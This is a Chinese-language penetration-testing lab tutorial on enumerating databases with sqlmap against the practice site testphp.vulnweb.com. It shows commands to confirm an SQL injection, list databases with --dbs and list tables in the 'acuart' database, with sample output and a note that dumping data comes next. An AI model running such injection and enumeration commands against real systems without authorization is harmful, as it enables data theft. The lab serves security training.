引言
在本实验中,你将学习如何使用 sqlmap 枚举目标服务器上的数据库。数据库枚举是渗透测试过程中的关键步骤,它能让你发现服务器上可能存在 SQL 注入漏洞的数据库名称。sqlmap 可以自动化这一过程,使其高效且直接。我们将从确保先前扫描(模拟)成功注入开始,然后使用 --dbs 标志列出所有数据库,执行命令,解读结果,最后区分系统数据库和用户数据库。
确认先前扫描的注入成功
在此步骤中,我们将模拟确认先前扫描的 SQL 注入成功。在枚举数据库之前,确保目标 URL 确实存在 SQL 注入漏洞并且 sqlmap 能够成功利用它至关重要。在本实验中,我们将假设先前的扫描已识别出一个易受攻击的 URL。我们将使用一个占位符 URL 来演示 sqlmap 命令结构。
在 ~/project 目录中打开你的终端。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --banner
此命令使用 sqlmap 连接到指定的 URL,并尝试检索数据库 banner。成功检索到 banner 表明注入成功。
示例输出:
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7-1#stable
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] do you want to enable full support for HTTP(S) proxy? [y/N] N
[!] do you want to resume the previous session? [Y/n/q] n
... (输出已截断) ...
web server operating system: Linux Debian
web application technology: Apache 2.2.14, PHP 5.3.2
back-end DBMS: MySQL >= 5.0.12
banner: '5.1.73-0ubuntu0.10.04.1'
输出中的 banner 行确认了 sqlmap 能够成功与数据库交互并检索其版本信息,这表明注入成功。
使用 --dbs 标志列出所有数据库
在此步骤中,你将了解 sqlmap 中的 --dbs 标志,该标志专门用于枚举和列出目标服务器上所有可用的数据库。此标志对于发现可能包含敏感信息的数据库名称至关重要。
--dbs 标志指示 sqlmap 执行数据库枚举。当 sqlmap 成功利用 SQL 注入漏洞时,它可以查询数据库服务器以获取其托管的所有数据库的列表。
命令结构将与上一步类似,但增加了 --dbs:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
此命令将指示 sqlmap 通过给定 URL 处的 SQL 注入漏洞识别并列出所有可访问的数据库。
执行数据库枚举命令
在此步骤中,我们将执行带有 --dbs 标志的 sqlmap 命令来枚举数据库。这是本实验的核心操作。
在你的终端中执行以下命令:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
sqlmap 将开始执行测试,如果成功,将输出数据库名称列表。此过程可能需要一些时间,因为 sqlmap 会执行各种注入技术。
示例输出:
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7-1#stable
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] do you want to enable full support for HTTP(S) proxy? [y/N] N
[!] do you want to resume the previous session? [Y/n/q] n
... (输出已截断) ...
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] acuart
输出显示了 sqlmap 的进度,最终会列出“可用的数据库”。在此示例中,列出了 information_schema、mysql、performance_schema 和 acuart。
解析返回的数据库名称列表
在此步骤中,你将解析 sqlmap 返回的数据库名称列表。理解这些名称的含义对于后续的渗透测试步骤至关重要。
从上一步的输出中,你可能看到了类似以下的列表:
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] acuart
每个 [*] 项代表在目标服务器上找到的一个数据库。
information_schema: 这是 MySQL(以及其他 SQL 数据库)中的一个标准数据库,它提供对数据库元数据的访问。它包含有关所有其他数据库、表、列和访问权限的信息。这是一个系统数据库。mysql: 这是 MySQL 中的另一个标准系统数据库,用于存储 MySQL 服务器运行所需的信息。它包含用户账户、权限和其他服务器配置数据。performance_schema: 这是 MySQL 中的一个系统数据库,用于在低级别监控 MySQL 服务器的执行情况。它提供了对服务器性能的洞察。acuart: 这个数据库名称很可能是用户创建的数据库,特定于服务器上运行的 Web 应用程序。这通常是包含应用程序数据的数据库,例如用户凭据、产品信息或其他敏感业务数据。
识别像 acuart 这样的用户创建的数据库通常是主要目标,因为这些数据库更有可能包含对攻击者有价值的信息。
区分系统数据库和用户数据库
在最后这个步骤中,你将根据枚举结果明确区分系统数据库和用户数据库。这种区分对于确定渗透测试中下一步行动的优先级非常重要。
正如在上一步中所观察到的,像 information_schema、mysql 和 performance_schema 这样的数据库通常是系统级别的数据库。它们是数据库管理系统核心功能的一部分,通常包含元数据、数据库管理系统自身的账户以及性能统计信息。虽然它们有时可能被利用,但它们很少包含攻击者通常寻找的特定于应用程序的敏感数据。
另一方面,名称不是标准系统名称的数据库(例如,在我们示例中的 acuart,或者 webapp_db、users、products 等)通常是用户创建的数据库。这些数据库存储 Web 应用程序的实际数据,例如:
- 用户凭据(用户名、哈希密码)
- 客户信息
- 产品目录
- 财务记录
- 其他专有业务数据
在进行渗透测试时,枚举完数据库后,你的重点应该转移到这些用户创建的数据库上。下一个合乎逻辑的步骤是枚举这些用户数据库中的表,然后是表中的列,最后是转储数据。
通过理解这种区别,你可以有效地定位后续的 sqlmap 命令,以提取最有价值的信息。例如,要枚举 acuart 数据库中的表,你将使用类似以下的命令:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
此命令演示了你将如何进行到下一个数据提取阶段,专注于已识别的用户数据库。
总结
在这个实验中,你已成功学会如何使用 sqlmap 枚举目标服务器上的数据库。你首先了解了确认 SQL 注入成功的必要性。然后,你使用了 --dbs 标志来列出所有可用的数据库,并执行了命令以查看结果。最后,你学会了如何解析返回的数据库名称,区分系统数据库和可能更有价值的用户创建数据库。对于任何希望从易受攻击的 Web 应用程序中提取信息的渗透测试人员来说,这项技能都是基础。


